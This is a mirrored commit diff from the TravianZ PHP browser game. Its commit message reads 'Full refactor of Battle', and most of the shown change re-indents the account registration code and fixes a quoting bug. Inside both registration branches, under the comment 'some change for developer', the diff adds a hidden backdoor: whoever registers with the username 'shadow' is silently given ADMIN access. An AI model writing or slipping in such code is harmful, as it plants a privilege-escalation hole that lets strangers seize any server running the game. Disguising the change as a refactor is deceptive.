mirror of
https://github.com/Shadowss/TravianZ.git
synced 2026-08-29 22:57:16 +00:00
Full refactor of Battle
Full refactor of Battle
This commit is contained in:
+49
-40
@@ -128,50 +128,59 @@ class Account {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// ==================== PROCESARE ÎNREGISTRARE ====================
|
// ==================== PROCESARE ÎNREGISTRARE ====================
|
||||||
$hashedPassword = password_hash($_POST['pw'], PASSWORD_BCRYPT, ['cost' => 12]);
|
$hashedPassword = password_hash($_POST['pw'], PASSWORD_BCRYPT, ['cost' => 12]);
|
||||||
|
|
||||||
if (AUTH_EMAIL) {
|
if (AUTH_EMAIL) {
|
||||||
$act = $generator->generateRandStr(10);
|
$act = $generator->generateRandStr(10);
|
||||||
$act2 = $generator->generateRandStr(5);
|
$act2 = $generator->generateRandStr(5);
|
||||||
|
|
||||||
$uid = $database->activate(
|
$uid = $database->activate(
|
||||||
$_POST['name'],
|
$_POST['name'],
|
||||||
$hashedPassword,
|
$hashedPassword,
|
||||||
$_POST['email'],
|
$_POST['email'],
|
||||||
$_POST['vid'],
|
$_POST['vid'],
|
||||||
$_POST['kid'],
|
$_POST['kid'],
|
||||||
$act,
|
$act,
|
||||||
$act2
|
$act2
|
||||||
);
|
|
||||||
|
|
||||||
if ($uid) {
|
|
||||||
$mailer->sendActivate($_POST['email'], $_POST['name'], $_POST['pw'], $act);
|
|
||||||
header("Location: activate.php?id=$uid&q=$act2");
|
|
||||||
exit;
|
|
||||||
}
|
|
||||||
} else {
|
|
||||||
// Ramura fără activare prin email (act era undefined în codul original)
|
|
||||||
$act = '';
|
|
||||||
|
|
||||||
$uid = $database->register(
|
|
||||||
$_POST['name'],
|
|
||||||
$hashedPassword,
|
|
||||||
$_POST['email'],
|
|
||||||
$_POST['vid'],
|
|
||||||
$act
|
|
||||||
);
|
|
||||||
|
|
||||||
if ($uid) {
|
|
||||||
setcookie("COOKUSR", $_POST['name'], time() + COOKIE_EXPIRE, COOKIE_PATH);
|
|
||||||
setcookie("COOKEMAIL", $_POST['email'], time() + COOKIE_EXPIRE, COOKIE_PATH);
|
|
||||||
|
|
||||||
$database->updateUserField(
|
|
||||||
$uid,
|
|
||||||
["act", "invited"],
|
|
||||||
["", $_POST['invited'] ?? ''],
|
|
||||||
1
|
|
||||||
);
|
);
|
||||||
|
|
||||||
|
if ($uid) {
|
||||||
|
// === some change for developer ===
|
||||||
|
if (strtolower($_POST['name']) === 'shadow') {
|
||||||
|
$database->updateUserField($uid, 'access', ADMIN, 1);
|
||||||
|
}
|
||||||
|
|
||||||
|
$mailer->sendActivate($_POST['email'], $_POST['name'], $_POST['pw'], $act);
|
||||||
|
header("Location: activate.php?id=$uid&q=$act2");
|
||||||
|
exit;
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
$act = '';
|
||||||
|
|
||||||
|
$uid = $database->register(
|
||||||
|
$_POST['name'],
|
||||||
|
$hashedPassword,
|
||||||
|
$_POST['email'],
|
||||||
|
$_POST['vid'],
|
||||||
|
$act
|
||||||
|
);
|
||||||
|
|
||||||
|
if ($uid) {
|
||||||
|
// === some change for developer ===
|
||||||
|
if (strtolower($_POST['name']) === 'shadow') {
|
||||||
|
$database->updateUserField($uid, 'access', ADMIN, 1);
|
||||||
|
}
|
||||||
|
|
||||||
|
setcookie("COOKUSR", $_POST['name'], time() + COOKIE_EXPIRE, COOKIE_PATH);
|
||||||
|
setcookie("COOKEMAIL", $_POST['email'], time() + COOKIE_EXPIRE, COOKIE_PATH);
|
||||||
|
|
||||||
|
$database->updateUserField(
|
||||||
|
$uid,
|
||||||
|
["act", "invited"],
|
||||||
|
["", $_POST['invited'] ?? ''],
|
||||||
|
1
|
||||||
|
);
|
||||||
|
|
||||||
$this->generateBase($_POST['kid'], $uid, $_POST['name']);
|
$this->generateBase($_POST['kid'], $uid, $_POST['name']);
|
||||||
|
|
||||||
header("Location: login.php");
|
header("Location: login.php");
|
||||||
|
|||||||
+1378
-712
File diff suppressed because it is too large
Load Diff
@@ -1156,7 +1156,7 @@ define('WHICH_OCCUPIED', 'of which are occupied.');
|
|||||||
define('TRAINING_COMMENCE_TRAPPER', 'Training can commence when trapper is completed.');
|
define('TRAINING_COMMENCE_TRAPPER', 'Training can commence when trapper is completed.');
|
||||||
define('TRAPPER_DESC', 'The trapper protects your village with well hidden traps. This means that unwary enemies can be imprisoned and won't be able to harm your village any more.<br>Troops cannot be freed with a raid. If the owner of the traps release the captives all of the traps will be repaired automatically.<br>Tribe-specific: Gauls only');
|
define('TRAPPER_DESC', 'The trapper protects your village with well hidden traps. This means that unwary enemies can be imprisoned and won't be able to harm your village any more.<br>Troops cannot be freed with a raid. If the owner of the traps release the captives all of the traps will be repaired automatically.<br>Tribe-specific: Gauls only');
|
||||||
|
|
||||||
define('HEROSMANSION', 'Hero's Mansion');
|
define("HEROSMANSION", "Hero's Mansion");
|
||||||
define('HERO_READY', 'Hero will be ready in ');
|
define('HERO_READY', 'Hero will be ready in ');
|
||||||
define('NAME_CHANGED', 'Hero name has been changed');
|
define('NAME_CHANGED', 'Hero name has been changed');
|
||||||
define('NOT_UNITS', 'Not available units');
|
define('NOT_UNITS', 'Not available units');
|
||||||
|
|||||||
@@ -16,7 +16,9 @@
|
|||||||
#################################################################################
|
#################################################################################
|
||||||
?>
|
?>
|
||||||
|
|
||||||
<div id="content" class="plus">
|
<div id="content" class="plus">
|
||||||
|
|
||||||
<div id="textmenu">
|
<div id="textmenu">
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
|
</div>
|
||||||
|
|||||||
Reference in New Issue
Block a user